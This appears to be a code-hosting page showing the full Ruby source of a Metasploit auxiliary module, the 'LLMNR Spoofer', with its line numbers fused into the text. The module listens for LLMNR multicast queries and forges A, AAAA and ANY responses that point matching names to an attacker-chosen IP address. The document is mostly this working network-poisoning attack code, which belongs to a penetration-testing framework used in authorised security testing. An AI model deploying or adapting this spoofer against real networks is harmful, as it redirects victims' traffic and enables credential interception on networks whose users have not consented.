Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/spoof/llmnr/llmnr_response.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'socket'6require 'ipaddr'7require 'net/dns'89class MetasploitModule < Msf::Auxiliary1011include Msf::Exploit::Capture1213attr_accessor :sock, :thread141516def initialize17super(18'Name' => 'LLMNR Spoofer',19'Description' => %q{20LLMNR (Link-local Multicast Name Resolution) is the successor of NetBIOS (Windows Vista and up) and is used to21resolve the names of neighboring computers. This module forges LLMNR responses by listening for LLMNR requests22sent to the LLMNR multicast address (224.0.0.252) and responding with a user-defined spoofed IP address.23},24'Author' => [ 'Robin Francois <rof[at]navixia.com>' ],25'License' => MSF_LICENSE,26'References' =>27[28[ 'URL', 'http://www.ietf.org/rfc/rfc4795.txt' ]29],3031'Actions' =>32[33[ 'Service', 'Description' => 'Run LLMNR spoofing service' ]34],35'PassiveActions' =>36[37'Service'38],39'DefaultAction' => 'Service'40)4142register_options([43OptAddress.new('SPOOFIP', [ true, "IP address with which to poison responses", ""]),44OptRegexp.new('REGEX', [ true, "Regex applied to the LLMNR Name to determine if spoofed reply is sent", '.*']),45OptInt.new('TTL', [ false, "Time To Live for the spoofed response", 30]),46])4748deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')49self.thread = nil50self.sock = nil51end5253def dispatch_request(packet, rhost, src_port)54rhost = ::IPAddr.new(rhost)5556# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped57# addr like "::ffff:192.168.0.1" when the interface we're listening58# on has an IPv6 address. Convert it to just the v4 addr59if rhost.ipv4_mapped?60rhost = rhost.native61end6263dns_pkt = ::Net::DNS::Packet.parse(packet)64spoof = ::IPAddr.new(datastore['SPOOFIP'])6566# Turn this packet into a response67dns_pkt.header.qr = 16869dns_pkt.question.each do |question|70name = question.qName71unless name =~ /#{datastore['REGEX']}/i72vprint_status("#{rhost.to_s.ljust 16} llmnr - #{name} did not match REGEX \"#{datastore['REGEX']}\"")73next74end7576if should_print_reply?(name)77print_good("#{rhost.to_s.ljust 16} llmnr - #{name} matches regex, responding with #{datastore['SPOOFIP']}")78end7980# qType is not a Integer, so to compare it with `case` we have to81# convert it82case question.qType.to_i83when ::Net::DNS::A84dns_pkt.answer << ::Net::DNS::RR::A.new(85:name => name,86:ttl => datastore['TTL'],87:cls => ::Net::DNS::IN,88:type => ::Net::DNS::A,89:address => spoof.to_s90)91when ::Net::DNS::AAAA92dns_pkt.answer << ::Net::DNS::RR::AAAA.new(93:name => name,94:ttl => datastore['TTL'],95:cls => ::Net::DNS::IN,96:type => ::Net::DNS::AAAA,97:address => (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s98)99when ::Net::DNS::ANY100# For ANY queries, respond with both an A record as well as an AAAA.101dns_pkt.answer << ::Net::DNS::RR::A.new(102:name => name,103:ttl => datastore['TTL'],104:cls => ::Net::DNS::IN,105:type => ::Net::DNS::A,106:address => spoof.to_s107)108dns_pkt.answer << ::Net::DNS::RR::AAAA.new(109:name => name,110:ttl => datastore['TTL'],111:cls => ::Net::DNS::IN,112:type => ::Net::DNS::AAAA,113:address => (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s114)115when ::Net::DNS::PTR116# Sometimes PTR queries are received. We will silently ignore them.117next118else119print_warning("#{rhost.to_s.ljust 16} llmnr - Unknown RR type (#{question.qType.to_i}), this shouldn't happen. Skipping")120next121end122end123124# If we didn't find anything we want to spoof, don't send any125# packets126return if dns_pkt.answer.empty?127128udp = ::PacketFu::UDPHeader.new(129:udp_src => 5355,130:udp_dst => src_port,131:body => dns_pkt.data132)133udp.udp_recalc134if rhost.ipv4?135ip_pkt = ::PacketFu::IPPacket.new(136:ip_src => spoof.hton,137:ip_dst => rhost.hton,138:ip_proto => 0x11, # UDP139:body => udp140)141elsif rhost.ipv6?142ip_pkt = ::PacketFu::IPv6Packet.new(143:ipv6_src => spoof.hton,144:ipv6_dst => rhost.hton,145:ip_proto => 0x11, # UDP146:body => udp147)148else149# Should never get here150print_error("IP version is not 4 or 6. Failed to parse?")151return152end153ip_pkt.recalc154155capture_sendto(ip_pkt, rhost.to_s, true)156end157158def monitor_socket159while true160rds = [self.sock]161wds = []162eds = [self.sock]163164r,_,_ = ::IO.select(rds,wds,eds,0.25)165166if (r != nil and r[0] == self.sock)167packet, host, port = self.sock.recvfrom(65535)168dispatch_request(packet, host, port)169end170end171end172173174# Don't spam with success, just throttle to every 10 seconds175# per host176def should_print_reply?(host)177@notified_times ||= {}178now = Time.now.utc179@notified_times[host] ||= now180last_notified = now - @notified_times[host]181if last_notified == 0 or last_notified > 10182@notified_times[host] = now183else184false185end186end187188def run189check_pcaprub_loaded()190::Socket.do_not_reverse_lookup = true # Mac OS X workaround191192# Avoid receiving extraneous traffic on our send socket193open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})194195# Multicast Address for LLMNR196multicast_addr = ::IPAddr.new("224.0.0.252")197198# The bind address here will determine which interface we receive199# multicast packets from. If the address is INADDR_ANY, we get them200# from all interfaces, so try to restrict if we can, but fall back201# if we can't202bind_addr = get_ipv4_addr(datastore["INTERFACE"]) rescue "0.0.0.0"203204optval = multicast_addr.hton + ::IPAddr.new(bind_addr).hton205self.sock = Rex::Socket.create_udp(206# This must be INADDR_ANY to receive multicast packets207'LocalHost' => "0.0.0.0",208'LocalPort' => 5355,209'Context' => { 'Msf' => framework, 'MsfExploit' => self }210)211self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)212self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)213214self.thread = Rex::ThreadFactory.spawn("LLMNRServerMonitor", false) {215monitor_socket216}217218print_status("LLMNR Spoofer started. Listening for LLMNR requests with REGEX \"#{datastore['REGEX']}\" ...")219220add_socket(self.sock)221222self.thread.join223end224225def cleanup226if self.thread and self.thread.alive?227self.thread.kill228self.thread = nil229end230self.sock.close231close_pcap232end233end234235236